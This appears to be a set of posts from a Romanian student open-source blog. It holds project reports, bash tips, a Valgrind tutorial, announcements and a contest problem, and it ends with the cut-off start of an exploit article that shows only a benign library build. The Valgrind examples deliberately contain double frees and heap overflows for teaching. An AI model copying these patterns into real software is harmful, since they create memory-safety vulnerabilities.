Our first tasks, implied working on SendImages, TimeAdjust  and KmlExport kipi-plugins. Firstly, we had to add some labels and hints in the SendImages plugin, in order to explain unclear functionalities [1]. Our next tasks was to improve the TimeAdjust plugin. We had to add the option for a user to zoom using Ctrl+Mouse Wheel and +/-[2]. Therefore, following the advice of the developers we changed the class used for image display and replaced TimeAdjust’s original class with a common, shared class. This added not only the above functionalities, but also made the code clearer and improved it’s modularity. Also on the TimeAdjust plugin, we added a new feature, consisting of a progress bar to show not only how much of the task was completed, but also that the plugin is still working. The KmlExport plugin had an file convert bug.  Although as simple as a formatting glitch, it took us a while to find exactly where the bug was found.
Our second challenge was to try to port two plugins from one threading architecture to another. ThreadWeaver is becoming a powerfull standard in parallel processing, and the Digikam software collection wanted to take advantage of it’s strenghts. It was quite difficult trying to work for it as it involved rewriting a class entirely, and we were pressured by time as we also had some partial exams during that time. However, shortly before the completion of CDL we found out that somebody else had already completed these tasks, making our progress null and void. This made us sad, but it also served as a reminder that in the Open Source world we are never truly working alone.

Conclusion:
Although we did not manage to finish all our tasks, we now have the taste of open source programming. We have learned a lot of things, especially how to work as a team, for such an important project like digiKam.
During the CDL course   we found out the importance of code understanding and team work and, more important, that weekends spent at school can be fun.
[1]: https://bugs.kde.org/show_bug.cgi?id=268315
[2]: https://bugs.kde.org/show_bug.cgi?id=268317

Most Linux users prefer to use the CLI because of its efficiency. But the days of the single terminal in which you had your shell are long gone. Users take advantage of the GUI and use graphical terminals like gnome-terminal, konsole or similar utilities, to start several shell instances. For example if you are a programmer, you might want to have one instance for the editor (with the code you are working on), another one to test and debug the compiled executable and – maybe – another for the documentation (man pages). If you are a system administrator you might have a shell with the configuration file of a service, one you use to test the running service, and maybe one shell connected to another server. But having a lot of windows (or tabs) can get confusing.

Some prefer to optimize their environment and use a CLI-oriented Window Manager, like xmonad, to productively manage windows without the use of the mouse. But what if you can only get access to a single terminal, like in the case of a SSH client to a remote host? What if you don’t have a GUI, when configuring a server on-site? Or what if you just like to have one terminal window opened? What you can do is install terminal multiplexing programs like screen or tmux. These programs fork several shell instances behind your primary shell instance and you can switch between them using keyboard shortcuts. Or you can learn to make use of things your shell (bash, for example) already offers you.

Lesson 1: Don’t close things that you will open again soon.

If you are using your editor to write code or to change a configuration file and you want to compile the code or restart a service and test the result, you can send your editor into background with the CTRL-Z keyboard shortcut, that sends a SIGTSTOP signal to the process. You can run other command and then return to your edited file with the fg command. You may have several tasks in background for that shell instance. You can use the jobs command to see them and their jobid, and you can send a specific job in foreground with fg $JOBID.

Some processes can not be sent into background with the CTRL-Z shortcut. For example, if you have a ssh connection to a remote server where the CTRL-Z will run not on the local host but on the remote host. In this case you will need to use the escape sequence of [ENTER]~ and then send the CTRL-Z signal (you you need to press Enter, then the ~ key, then the CTRL and Z keys together).

Always try to take advantage of the current process’ features. For example you can run make from a vim (or actually run any commands by prefixing them with a !) and you can kill a process from inside a top or htop process.

Lesson 2: Save paths for directories you need.

Unlike a GUI, in a CLI you can go directly to a specific directory from the current one by cd-ing to an absolute or relative path (not going one directory at a time like in the GUI). But you shouldn’t always have to type the path. If you are going back and forth between two directories, use the cd - command to change directory to the last working directory you were in.

If you have several directories you are going to go through, but you know you will return to a specific one, you can use the directory stack to save that directory. You can pushd $DIR a directory into the stack and then popd to change into the top-of-stack directory.

Also, you can always use the reverse history (CTRL-R) to reuse commands already given.

rosedu:~# cd /etc/apache2/sites-available/
rosedu:/etc/apache2/sites-available# cd /var/www/
rosedu:/var/www# cd -
/etc/apache2/sites-available
rosedu:/etc/apache2/sites-available# pushd
/etc/apache2/sites-available /etc/apache2/sites-available
rosedu:/etc/apache2/sites-available# cd /home
rosedu:/home# cd /etc/
rosedu:/etc# popd
/etc/apache2/sites-available
rosedu:/etc/apache2/sites-available#

Lesson 3: Always know who and where you are.

Some people open different terminals to keep track of what they are doing or where they are (and not change the location inside that terminal). The shell is made for having its current directory changes and it helps you know where you are with the prompt. A normal prompts looks like user@host:current_path$. It’s important to know with what user and on what machine you are logged in. The $ and # characters will show you what privileges you have (either limited or administrator). The current\_path is usually the name of the current directory (but it can sometimes be a full path). If that doesn’t provide you enough information, use the pwd command to print the working directory or setup the PS1 variabile to include more information.

Shells like bash have lots of not so well known tricks. But if you learn those tricks, they will make your life easier.

A good programmer has a variety of tools to help him in developing good applications. We talked about gdb in an article at the beginning of April. Now, it is time for a crash introduction to Valgrind.

This program is a collection of different tools. For example, it offers a heap profiler, a thread error detector or a cache profiler. However, the tool which gave Valgrind’s fame is Memcheck, a memory error detector. Because of its popularity, this tool is the default one (to use other Valgrind tools you have to use the --tool=option command line argument). In this article, we will concentrate on Memcheck only.

Detecting memory leaks

Mainly, one would use Valgrind to detect memory leaks in his application. By this, we mean memory which was allocated but wasn’t released back. For example, take this program:

void f()
{
    int *a = calloc(1024, sizeof(a[0]));
}

int main()
{
    int i;

    for (i = 0; i < 1024; i++)
        f();

    return 0;
}

This program allocates sizeof(int) MB of memory and doesn’t free them. Of course, at the end of the execution, the operating systems takes care of releasing this memory. However, suppose that the f function was instead called from a server executable which shouldn’t be stopped. In this case, each invocation of f will eat away sizeof(int) KB memory (depending on architecture, 4KB or 8KB).

The example is simple, the problem could be observed with naked eyes. However, let’s see what Valgrind tells us:

==11418== Memcheck, a memory error detector
==11418== Copyright (C) 2002-2011, and GNU GPL'd, by Julian Seward et al.
==11418== Using Valgrind-3.7.0 and LibVEX; rerun with -h for copyright info
==11418== Command: ./a.out
==11418==
==11418==
==11418== HEAP SUMMARY:
==11418==     in use at exit: 4,194,304 bytes in 1,024 blocks
==11418==   total heap usage: 1,024 allocs, 0 frees, 4,194,304 bytes allocated
==11418==
==11418== LEAK SUMMARY:
==11418==    definitely lost: 4,194,304 bytes in 1,024 blocks
==11418==    indirectly lost: 0 bytes in 0 blocks
==11418==      possibly lost: 0 bytes in 0 blocks
==11418==    still reachable: 0 bytes in 0 blocks
==11418==         suppressed: 0 bytes in 0 blocks
==11418== Rerun with --leak-check=full to see details of leaked memory
==11418==
==11418== For counts of detected and suppressed errors, rerun with: -v
==11418== ERROR SUMMARY: 0 errors from 0 contexts (suppressed: 3 from 3)

The number that gets repeated on each line of the output is the PID of our executable. At the end of the run, we are offered a heap summary (from where we can see that our program allocated 4MB of memory) and a leak summary.

Let’s see what happens after we take into account the suggestion to run with --leak-check=full. First, we compile the program adding debugging information, using the -g GCC flag. And, then, we run the executable under Valgrind:

mihai@keldon:/tmp/mm/valgrind$ valgrind --leak-check=full ./a.out
==11527== Memcheck, a memory error detector
==11527== Copyright (C) 2002-2011, and GNU GPL'd, by Julian Seward et al.
==11527== Using Valgrind-3.7.0 and LibVEX; rerun with -h for copyright info
==11527== Command: ./a.out
==11527==
==11527==
==11527== HEAP SUMMARY:
==11527==     in use at exit: 4,194,304 bytes in 1,024 blocks
==11527==   total heap usage: 1,024 allocs, 0 frees, 4,194,304 bytes allocated
==11527==
==11527== 4,194,304 bytes in 1,024 blocks are definitely lost in loss record 1 of 1
==11527==    at 0x4C29024: calloc (in /usr/lib/valgrind/vgpreload_memcheck-amd64-linux.so)
==11527==    by 0x4004F2: f (1.c:6)
==11527==    by 0x400513: main (1.c:14)
==11527==
==11527== LEAK SUMMARY:
==11527==    definitely lost: 4,194,304 bytes in 1,024 blocks
==11527==    indirectly lost: 0 bytes in 0 blocks
==11527==      possibly lost: 0 bytes in 0 blocks
==11527==    still reachable: 0 bytes in 0 blocks
==11527==         suppressed: 0 bytes in 0 blocks
==11527==
==11527== For counts of detected and suppressed errors, rerun with: -v
==11527== ERROR SUMMARY: 1 errors from 1 contexts (suppressed: 3 from 3)

This time, we see that the memory was allocated in line 6 in function f. This allows us to insert the needed free at the correct spot.

Quick question: what would have happened if our program was compiled with optimizations on (try -O3 for example)?

Wrong cases of memory release

What happens when we free the same memory address twice? Let’s use this program:

void *f()
{
	int *a = calloc(16, sizeof(a[0]));
	free(a);
	return a;
}

int main()
{
	int *a = f();
	free(a);
	return 0;
}

Running it with Valgrind yields:

mihai@keldon:/tmp/mm/valgrind$ valgrind ./a.out
==11734== Memcheck, a memory error detector
==11734== Copyright (C) 2002-2011, and GNU GPL'd, by Julian Seward et al.
==11734== Using Valgrind-3.7.0 and LibVEX; rerun with -h for copyright info
==11734== Command: ./a.out
==11734==
==11734== Invalid free() / delete / delete[] / realloc()
==11734==    at 0x4C29A9E: free (in /usr/lib/valgrind/vgpreload_memcheck-amd64-linux.so)
==11734==    by 0x40057A: main (1.c:14)
==11734==  Address 0x51d2040 is 0 bytes inside a block of size 64 free'd
==11734==    at 0x4C29A9E: free (in /usr/lib/valgrind/vgpreload_memcheck-amd64-linux.so)
==11734==    by 0x400552: f (1.c:7)
==11734==    by 0x40056A: main (1.c:13)
==11734==
==11734==
==11734== HEAP SUMMARY:
==11734==     in use at exit: 0 bytes in 0 blocks
==11734==   total heap usage: 1 allocs, 2 frees, 64 bytes allocated
==11734==
==11734== All heap blocks were freed -- no leaks are possible
==11734==
==11734== For counts of detected and suppressed errors, rerun with: -v
==11734== ERROR SUMMARY: 1 errors from 1 contexts (suppressed: 3 from 3)

We can see both locations where the memory was released.

Now, consider this C++ code, a tweaked version of the above:

int *f()
{
	int *a = (int *)calloc(16, sizeof(a[0]));
	return a;
}

int main()
{
	int *a = f();
	delete a;
	return 0;
}

Running under Valgrind, we receive the following output (we will use -q to show only the errors reported by Valgrind – no header and no statistics at the end):

mihai@keldon:/tmp/mm/valgrind$ valgrind -q ./a.out
==11757== Mismatched free() / delete / delete []
==11757==    at 0x4C2972C: operator delete(void*) (in /usr/lib/valgrind/vgpreload_memcheck-amd64-linux.so)
==11757==    by 0x400659: main (1.c:13)
==11757==  Address 0x59e0040 is 0 bytes inside a block of size 64 alloc'd
==11757==    at 0x4C29024: calloc (in /usr/lib/valgrind/vgpreload_memcheck-amd64-linux.so)
==11757==    by 0x400632: f() (1.c:6)
==11757==    by 0x400649: main (1.c:12)

Before finishing this section, let’s consider the case of freeing from inside an allocated block. See this code:

void *f()
{
	int *a = calloc(16, sizeof(a[0]));
	return a + 4;
}

int main()
{
	int *a = f();
	free(a);
	return 0;
}

Valgrind gives the following output:

mihai@keldon:/tmp/mm/valgrind$ valgrind -q ./a.out
==11765== Invalid free() / delete / delete[] / realloc()
==11765==    at 0x4C29A9E: free (in /usr/lib/valgrind/vgpreload_memcheck-amd64-linux.so)
==11765==    by 0x400572: main (1.c:13)
==11765==  Address 0x51d2050 is 16 bytes inside a block of size 64 alloc'd
==11765==    at 0x4C29024: calloc (in /usr/lib/valgrind/vgpreload_memcheck-amd64-linux.so)
==11765==    by 0x400542: f (1.c:6)
==11765==    by 0x400562: main (1.c:12)

From this we can easily see that we tried to free from inside an allocated block instead of using the block’s address. Moreover, we find where the block was allocated and we can fix our program now.

Incorrect usage of memory

Let’s see this simple code:

struct s {
	int a, b;
};

int main()
{
	struct s s;
	s.a = 42;
	if (s.b)
		printf("s.b\n");
	return 0;
}

We didn’t initialize s.b. Valgrind reports this:

mihai@keldon:/tmp/mm/valgrind$ valgrind -q ./a.out
==11868== Conditional jump or move depends on uninitialised value(s)
==11868==    at 0x4004F0: main (1.c:12)
==11868==

This was simple. Now, consider this common case:

int main()
{
	char *s = strdup("Valgrind rocks");
	char *q = malloc(strlen(s));
	strcpy(q, s);
	return 0;
}

This code looks perfectly valid. Does it? Valgrind says otherwise:

mihai@keldon:/tmp/mm/valgrind$ valgrind -q ./a.out
==12038== Invalid write of size 1
==12038==    at 0x4C2B27F: strcpy (in /usr/lib/valgrind/vgpreload_memcheck-amd64-linux.so)
==12038==    by 0x4005FC: main (1.c:9)
==12038==  Address 0x51d209e is 0 bytes after a block of size 14 alloc'd
==12038==    at 0x4C2A93D: malloc (in /usr/lib/valgrind/vgpreload_memcheck-amd64-linux.so)
==12038==    by 0x4005E5: main (1.c:8)

Indeed, we missed space for the \0 terminating character. Suppose we do this fix: we change strcpy(q, s) with strcpy(q, s + 1). This works.

Now, let us assume that – by mistake – we also change q:

int main()
{
	char *s = strdup("Valgrind rocks");
	strcpy(s, s + 1);
	return 0;
}

Valgrind is prompt to show us that we use strcpy in a wrong way, possibly destroying content:

mihai@keldon:/tmp/mm/valgrind$ valgrind -q ./a.out
==12058== Source and destination overlap in strcpy(0x51d2040, 0x51d2041)
==12058==    at 0x4C2B2F5: strcpy (in /usr/lib/valgrind/vgpreload_memcheck-amd64-linux.so)
==12058==    by 0x400600: main (1.c:9)

But what if that was the indented behaviour? What if we really needed to remove the first letter of s?

We can generate a suppression and use it in other calls of Valgrind to ignore this error. To generate it, we use another flag:

mihai@keldon:/tmp/mm/valgrind$ valgrind --gen-suppressions=yes -q ./a.out
==12079== Source and destination overlap in strcpy(0x51d2040, 0x51d2041)
==12079==    at 0x4C2B2F5: strcpy (in /usr/lib/valgrind/vgpreload_memcheck-amd64-linux.so)
==12079==    by 0x400600: main (1.c:9)
==12079==
==12079==
==12079== ---- Print suppression ? --- [Return/N/n/Y/y/C/c] ---- y
{
   <insert_a_suppression_name_here>
   Memcheck:Overlap
   fun:strcpy
   fun:main
}

We copy the printed lines into a file, strcpy_main.supp:

{
   strcpy_main
   Memcheck:Overlap
   fun:strcpy
   fun:main
}

When we run Valgrind again, we will use this file to ignore that error.

mihai@keldon:/tmp/mm/valgrind$ valgrind --suppressions=strcpy_main.supp -q ./a.out
mihai@keldon:/tmp/mm/valgrind$

Even though this works, we should not use strcpy with overlapping arguments. The manual page for strcpy tells:

The  strcpy()  function  copies  the  string pointed to by src, including
the terminating null byte ('\0'), to the buffer pointed to by dest. The
strings may not overlap, and the destination string dest must be large
enough to receive the copy.

One last word before finishing this article. If your program has too many errors, Valgrind tries to be funny and gives the following message:

==21573== More than 10000000 total errors detected.  I'm not reporting any more.
==21573== Final error counts will be inaccurate.  Go fix your program!

You should do this, of course.

In a later article we will show how can you combine Valgrind and GDB to fix some nasty bugs. But until then, remember how to use Memcheck and keep in mind that Valgrind has many useful tools and a programmer can create others if he needs them.

Hi !

We are Vladimir Cernov, Bogdan Stoian and Szabolcs Orban, three students who tried to improve some aspects of OpenSIPS project, with the help of our mentor, Razvan Crainea.

OpenSIPS (Open SIP Server) is a mature Open Source implementation of a SIP server. OpenSIPS is more than a SIP proxy/router as it includes application-level functionalities. OpenSIPS, as a SIP server, is the core component of any SIP-based VoIP solution. With a very flexible and customizable routing engine,OpenSIPS ‘unifies voice, video, IM and presence services in a highly efficient way, thanks to its scalable (modular) design.

Our objectives were:

• Implementing the XML-RPC protocol
• Adding support for mathematical operations on float numbers
• Implementing support for Sangoma cards

The first task implied the creation of a new module which would add support for MI commands from a remote computer, getting the results in XML format.   The old module used an old http library, which was not suitable for the future needs of OpenSIPS. A similar functionality (which exported results in HTML format) was already implemented, and it was used as an example. However, further work have to be done, as  the HTTP module itself needs to be improved.

The second task supposed creating a mathematical function for handling simple precision floating point expressions. The reason this project would have needed to be completed was reducing the overhead of calculating prices, which would have had a great impact on the community.  There were some difficulties regarding the understanding of the existing code-base, so we need more time to make that task functional.

The third task, implementing support for the Sangoma cards, would have also had great impact, as it would have allowed telephones (or end-points) with incompatible codecs to communicate with each other. The card is responsible for converting codecs, acting as a mediator between the end-points. The project has not been finished, as some technical problems have appeared that we did not manage to solve (the connection with the card could not be made, and we did not get a response from the manufacturers).

Even though the projects were not finished, we consider that working on it was a great learning experience. During our work, we have become familiar with understanding the code of other programmers. Additionally, we have come to acknowledge the real problems and obstacles that may appear during the development of a large-scale project. Furthermore, our team-working skills have undergone great improvement. Besides, we have been exposed to cutting-edge technology (such as Sangoma cards).

The fact that we did not manage to finish our tasks does not pose a problem, as we intend to continue our work after CDL.

Problema 12 a concursului se bazează pe concepte importante din teoria limbajelor funcționale :) Va fi ceva mai grea decât cele de până acum dar nu foarte.

Se cere să implementați un evaluator de expresii ce folosesc combinatori SKI.

Ca input, prin stdin, veți primi o expresie bine formată conțînând doar S, K, I, ( și ). Folosind regulile de evaluare va trebuie să reduceți expresia până la forma minimă.

Afișați outputul la stdout, expresia minimizată.

De exemplu, pentru inputul SKSK veți afișa K, rezultând din evaluarea SKSK -> KK(SK) -> K. Similar, pentru inputul KKKSKS veți afișa SS, conform lanțului KKKSKS -> KSKS -> SS.

Sunt 100 de teste, fiecare valorând 1p.

Ponderea este de 2.1.

Spor.

PS: Ca istorie, prima dată când am făcut cunoștință cu acești combinatori a fost primul CCC văzut, acum 2,5 ani. Anul trecut la un laborator de PP în care predam Lambda 0, Ștefan citea To Dissect a Mockingbird, legată de To Mock a Mockingbird (titlu similar cu To Kill a Mockingbird dar fără legătură; oricum le pun pe ambele pe lista de cărți de citit). Finally, cam acum 1 an Luci mi-a dat link către ediția din 2011 a ICFP PC: Lambda the Gathering. De atunci am în plan un anumit proiect, va fi făcut cândva.

Astazi Stagii pe Bune a ajuns la 600 de pozitii de stagiu oferite studentilor din toata tara. 600 de pozitii deschise tuturor studentilor care sunt pasionati de calculatoare, de software, de retele, de IT. Si inca se mai inscriu stagii pentru editia de anul acesta.

In 2005 am plecat cu cca. 30 de stagii din care mai mult de jumatate erau obtinute gratie lobby-ului facut de doamna profesoara Irina Athanasiu.

8 ani mai tarziu aceasta cifra a crescut de 20 de ori. Sunt de 20 de ori mai multe oportunitati pentru studenti de a invata lucruri noi, de a-si pune in practica cunostintele existente, de a experimenta. Datoram aceasta crestere tuturor oamenilor care ne-au sprijinit si ne-au incurajat in acesti 8 ani: profesorilor, profesionistilor din firme care au pus la dispozitie timpul pentru a face selectie si mentorship, studentilor care au aplicat si i-au indemnat si pe colegii lor din ani mai mici sa aplice.

O multumire speciala partenerilor care ne-au ajutat sa tinem programul in viata si sa-l crestem in acesti 8 ani: BitDefender, Freescale, Adobe, Ubisoft, 4psa, Alvarion, Oracle, S&T, IBM, IXIA.

Nu cred ca am fi ajuns aici daca un numar mare de oameni pasionati nu si-ar fi dedicat timpul liber in fiecare primavara pentru a face acest program sa mearga. Sunt peste 40 de oameni care au investit timp si pasiune in activitati care tin de la prezentari catre firme sau studenti la lipit afise, de la corectat buguri in site la marketing direct, de la social media la contabilitate.

Multumesc tuturor si va invit sa fiti alaturi de noi si in continuare!

Astazi Stagii pe Bune a ajuns la 600 de pozitii de stagiu oferite studentilor din toata tara. 600 de pozitii deschise tuturor studentilor care sunt pasionati de calculatoare, de software, de retele, de IT. Si inca se mai inscriu stagii pentru editia de anul acesta.

In 2005 am plecat cu cca. 30 de stagii din care mai mult de jumatate erau obtinute gratie lobby-ului facut de doamna profesoara Irina Athanasiu.

8 ani mai tarziu aceasta cifra a crescut de 20 de ori. Sunt de 20 de ori mai multe oportunitati pentru studenti de a invata lucruri noi, de a-si pune in practica cunostintele existente, de a experimenta. Datoram aceasta crestere tuturor oamenilor care ne-au sprijinit si ne-au incurajat in acesti 8 ani: profesorilor, profesionistilor din firme care au pus la dispozitie timpul pentru a face selectie si mentorship, studentilor care au aplicat si i-au indemnat si pe colegii lor din ani mai mici sa aplice.

O multumire speciala partenerilor care ne-au ajutat sa tinem programul in viata si sa-l crestem in acesti 8 ani: BitDefender, Freescale, Adobe, Ubisoft, 4psa, Alvarion, Oracle, S&T, IBM, IXIA.

Nu cred ca am fi ajuns aici daca un numar mare de oameni pasionati nu si-ar fi dedicat timpul liber in fiecare primavara pentru a face acest program sa mearga. Sunt peste 40 de oameni care au investit timp si pasiune in activitati care tin de la prezentari catre firme sau studenti la lipit afise, de la corectat buguri in site la marketing direct, de la social media la contabilitate.

Multumesc tuturor si va invit sa fiti alaturi de noi si in continuare!

Programul de lucru pe vară la proiecte Open Source, de acasă, inițiat acum 5 ani de către ROSEdu, continuă cu forțe proaspete!

Anul acesta, miza crește pentru studenți, prin bursa de 1000 € și desigur prin provocările tehnice ridicate de proiectele propuse.

Ce trebuie să faci dacă vrei să fii unul dintre participanții la acest program:

• să manifești interes pentru unul dintre proiectele software propuse
• să aplici: nu-i greu, te pregătești, scrii aplicația, ceri feedback și convingi

Ziua Porților Deschise, UPB – 2012, s-a desfășurat în perioada 5-7 Aprilie, în paralel cu acțiunea Școala Altfel, atrăgând astfel un flux substanțial de elevi vizitatori. Participarea facultății noastre s-a încadrat în campania de promovare a facultății în licee, ediția 2011-2012.

Standul Facultății de Automatică și Calculatoare s-a remarcat prin componentele sale diverse și orientate către o experiență impresionantă a educației tehnice de vârf din facultate:

1) Standul principal, bazat pe 3 panouri (acesta fiind elementul standard, și în general singurul oferit de celelalte facultăți participante) a oferit vizitatorilor:

• Afișe, broșuri și pliante informative despre facultate;

• Afișe și pliante despre organizațiile studențești din facultate – LSAC și ROSEdu – organizații ce s-au implicat activ în susținerea evenimentului.

2) “Masa proiectelor”: aici au fost expuse și prezentate vizitatorilor mai multe plăci de dezvoltare folosite în cadrul unor laboratoare de hardware din facultate (PM, PDN, SMP, PS, TD).

3) 3DUPB – incluzând un proiector & ochelari 3D: aici a fost rulată o animație realizată în cadrul proiectului 3DUPB, care a atras atenția numeroșilor elevi pasionați de grafică și de animații.

4) Standul de monitoare: aici au fost rulate numeroase filme și poze realizate în facultate, incluzând screen cast-uri pentru diferitele proiecte software realizate de către studenții facultății.

5) Standul de mini-roboți colaborativi – atașat la standul principal – a pus în valoare întreg ansamblul de elemente, atrăgând atenția multor vizitatori.

6) Standul central de robotică a fost realizat în colaborare cu Facultatea de Energetică și cu Facultatea de Inginerie în Limbi Străine. Standul a avut o poziție centrală în geografia spațială și mai ales socială a evenimentului, mobilizând entuziasmul elevilor interesați de roboții prezentați  și de facultățile în care aceștia au fost dezvoltați – InGeAR.

În cadrul vizitelor în facultate elevii au putut vedea o parte dintre laboratoarele unde vor lucra în calitate de studenți, luând astfel contact direct cu una dintre experiențele de bază ale educației inginerești. Vizitele au inclus laboratoarele EF108, EG204, ED011, EG501, ED014, ED112, ED307, ED008, ED007, EG002.

Civilization advances by extending the number of important operations
which we can perform without thinking about them.
Operations of thought are like cavalry charges in a battle
— they are strictly limited in number, they require fresh
horses, and must only be made at decisive moments.
Whitehead, Introduction to Mathematics

Probabil ultimul articol despre facultate și ultimul în română, excluzând CP2012.

Ca student, prefer să am laboratoare în care cele 2 ore petrecute acolo nu sunt petrecute degeaba. Un laborator la care vin doar pentru a asculta o prezentare sau doar pentru a fi trecut pe o prezență este o pierdere de vreme foarte gravă.

Prefer un laborator în care aflu lucruri noi. Bine explicat sau documentat dar și cu lucruri pe care trebuie să le aflu singur, lucuri care trebuiesc testate. Calculate totuși pentru a se încadra în 90% – 110% din timpul rămas în laborator după explicații. Știu că e greu să faci asta dar sunt materii la care a fost posibil.

Also, prefer ca la o materie cu multe noțiuni laboratorul să fie mai practic, mai hands-on. Prefer ca în cazurile astea să avem mai multe teme și ceva mai mult de lucru pentru că asta ajută să înveți mai bine lucrurile de acolo decât un proiect în care poate vei atinge noțiunile X, Y, Z. Ținând cont că proiectul este pe tot semestrul, e posibil ca tu să trebuiască să folosești Z înainte ca el să fie predat/analizat pentru că Z e planificat pentru primul curs din ultima lună din semestru :)

Și prefer laboratoarele în care accentul e pus pe învățare, nu pe evaluare.

Ca TA, prefer să explic cât mai mult într-un laborator și să dau taskuri gradate de la simplu spre complex, în funcție de ce s-a explicat. La fel, prefer să transmit cunoștințe, nu să evaluez. Poate de asta îmi și plac mai mult laboratoarele care nu stresează studenții, așa ei pot să învețe mai bine, zic eu.

Voi cum preferați? Dirty hands sau free dinner sau stressful hell?

Facultatea de Automatică și Calculatoare a fost reprezentată cu succes în cadrul ediției 2012 a concursului robochallange, etapa națională.

Echipe de studenți care se pregătesc în cadrul centrului de performanță, InGeAR, au obținut:

- Locul I – Line-Follower
- Locul II – Mini-Sumo
- Locul III – Sumo

Mulțumim sponsorilor noștri:

- IXIA

- ANIS

- Facultatea de Automatică și Calculatoare

- Facultatea de Energetică

Hello!

We are Adrian Bogatu, Cosmin Dragomir and Flavius Anton and together with our mentors, Valentina Manea and Mihai Maruseac, we took part in this year’s CDL course. Our main target was fixing bugs and/or making improvements in Pidgin.

Pidgin is an open source Instant Messaging client that supports a lot of protocols, thus providing access to different networks such as Yahoo, GTalk, MSN, Aim and even Facebook chat all in one application. It has a wide spread area among Linux users. It’s written in C and it uses GTK+ and libpurple libraries.

Because it’s all written in C and because the source code almost completely lacks commentaries, it was very hard to figure out how exactly we’ll make some improvements on the already existing code. We had ideas, we had our mentors’ support, but the implementation was far from easy.

The first thing we accomplished here was Ticket #2497 (Offline message should indicate that it’s a pounce [1]). We were very enthusiastic about our first improvement and we immediately send a patch to Pidgin’s developers, that also got accepted in a short time. It was cool to know that finally you’ve done something that’s visible outside your college and friends, it’s visible to all Pidgin users.

On the other side, the first thing that we tried to accomplish, but we didn’t succeed, was Ticket #121 (expiration date for buddy pounces [2]) which sucked all of us into the depths of the Pidgin pounces source code leaving us no chance to return. Therefore we lost a couple of weeks just reading and trying to understand what those C functions were doing, not being able to make something constructive. After a while we completely gave up and shifted our attention to matters not simpler, but less hard to implement.

Another thing that got our attention was Ticket #352 (Doodle Confirmation Dialog [3]). That implied modifying an already existing plug-in that assured a Doodle connection on Yahoo protocol. Although, at first glance, we thought that’s going to be very easy, we encountered a lot of problems on the way. Now, we had an almost completely working Doodle, but with small bugs here and there. That’s not a very big issue though, because we’ll continue our work, even if CDL ended.

Speaking of CDL ending, we really have to say it was a great experience:

• We had our first encounter with a big open-source project and with its community.
• We learned many new things from the presentations held during the course and now we are more confident about our skills
• We made a lot of new acquaintances that have the same interests.

Besides, one important thing that we learned was that, sometimes, waking up in the morning on Saturdays can’t always be so unpleasant.

Finally, we want to thank again our mentors Valentina Manea and Mihai Maruseac because they helped us a lot after every course, on every hackaton. For now, we’re looking forward to going on a trip with all the people that took part in the project. That is the main reason everyone should enjoy this course – people.
[1]: http://developer.pidgin.im/ticket/2497
[2]: http://developer.pidgin.im/ticket/121
[3]: http://developer.pidgin.im/ticket/352

Introduction

Hello! We are Dragoș Badea, Paul Săpunaru and Mihai Zamfirescu. During the Spring Edition of CDL v5.0, we have been working on the “World of USO for Android” project, alongside with our mentors, Irina Preșa and Alex Eftimie.

Project Description

As you might know, World of USO is a browser-based game dedicated to Computer Science students at University Politehnica of Bucharest. World of USO for Android is a project aimed to port the game to the Android platform, while retaining as many of the original features as possible.

Technologies used:

• Java
• Android SDK
• OAuth
• XML for layouts design
• Eclipse IDE with the Android Development Tools (ADT) plugin
• Git

Requirements for running the application:

• a device running Android 2.3 (Gingerbread) or newer

Story

The project started as quite a challenge, since none of us worked with Git, nor Android, before. One of the greatest difficulties encountered was implementing the client-side OAuth protocol, as part of the authentication process (OAuth is also used by companies like Google or Twitter). After a few weeks, though, we got the hang of it, and things started running smoothly.

Conclusion / Thoughts

Dragoș
How often can one willingly wake up early Saturday morning, without regretting it instantly? Not many times, trust me about it, but this was one of those occasions. The community is one of the main reasons why CDL was such a nice experience; talented and humorous people, making every course both interesting and fun.

Paul
What did the Community and Development Lab mean to me? Well, it was my first
extracurricular activity of this type and I have to say that it was an intriguing experience. I had the pleasure to come in contact with great people willing to share their knowledge and passion for a certain subject and I found each presentation (technical or about social skills) particularly interesting.
Overall, I am really glad that I was accepted to join this fun and supportive community.

Mihai
CDL is many things – you get to learn a lot about Git, Python, Vim, etc. But, what really stands out is the community – you get to play Laser Tag, hack your friends’ project, we’ll even go on a trip soon. And that’s what makes it awesome!

In the end, we would like to thank our mentors, Irina and Alex, for introducing us to this project and helping us throughout the CDL journey (and poke them about that promised beer).

ROSEdu are plăcerea să vă anunțe a 5-a ediție a ROSEdu Summer of Code. ROSEdu Summer of Code (RSoC) este un proiect în cadrul căruia puteți activa și contribui la proiecte open source, pe o gamă diversă de subiecte.

Perioada de desfășurare este pe timpul verii, și puteți lucra cu un program flexibil: ca în orice proiect open source, vom pune accentul pe contribuții în comunitate.

În cadrul acestui an, participanții la RSoC sunt recompensați financiar pentru contribuțiile aduse. Sponsorii din acest an sunt BitDefender, ADOBE România, Allevo și Korect. Le mulțumim pentru suport!

Pentru a afla mai multe detalii despre RSoC, te așteptăm joi, 26 aprilie 2012, la ora 14:00, în sala EC004.

What is Dex Online?

DEX Online is the bigges online Romanian dictionary, one of the most important Romanian websites.

Who are we?

We are Ion Octavian Năstasie and Alexandru Ciprian Fărcășanu and we are thrilled to present to you our achievements, the fruits of our work during CDL 2012 spring.

We received lots and lots of support from our mentor Mihai Bărbulescu and from the founder of DEX Online, Cătălin Frâncu.

What did we use?

We used web technologies like HTML, PHP, Smarty templates, CSS and JavaScript and MYSQL is used as the database engine.

Our contribution

The problem that caught our attention was Ticket #257, Linguistic games, we felt is was important for DEX Online to retain visitors for a longer time, to make the website more than a place where people searched for the meaning of a word. We wanted the visitors to engage more with the website and to teach them new things in a fun and interactive way. We choosed to do a Hangman game, because we felt it was an iconic game that would make great use of DEX Online’s database.

First we had o get ourselves familiar with the code, smarty, and the database. Neither of us had to much experience working with web technologies, so this was the hardest part, figuring out the best way to do the things we needed for our game. We had lots of help from Google, DEX’s source code and of course our mentor.

When we felt we had a decent game we asked people to test Hangman and give us feedback. we got a lot of constructive input from our fellow CDL coleagues (Android guys ) and we made improvements. we pushed our code upstream for review and in the review process we saw that there were things that we didn’t think of and that there were better ways to do some things. It was an interesting experience.

Conclusion

It has been a great time, and we have learned a lot of new and great things, especially the process of writing code for a large project.

We have also met interesting people, but the most important thing is that we made our contibution to an open source project that is used by milions of people and we hope they will enjoy our game.

The only downside  is that it is over, we still have lots of ideas and improvements for Hangman 1.X, but, well, I guess there is always a Hackday for this.

Based on the previous article, let’s go one step further and study a similar exploit. This time we’ll be dealing with executables and dynamic libraries.

Let’s consider a simple custom library function:

/* random.h */
int xkcd_random(void);

/* random.c */
int xkcd_random()
{
	return 4;
}

We can build it into a shared library:

$ gcc --share -fPIC -o librandom.so random.c

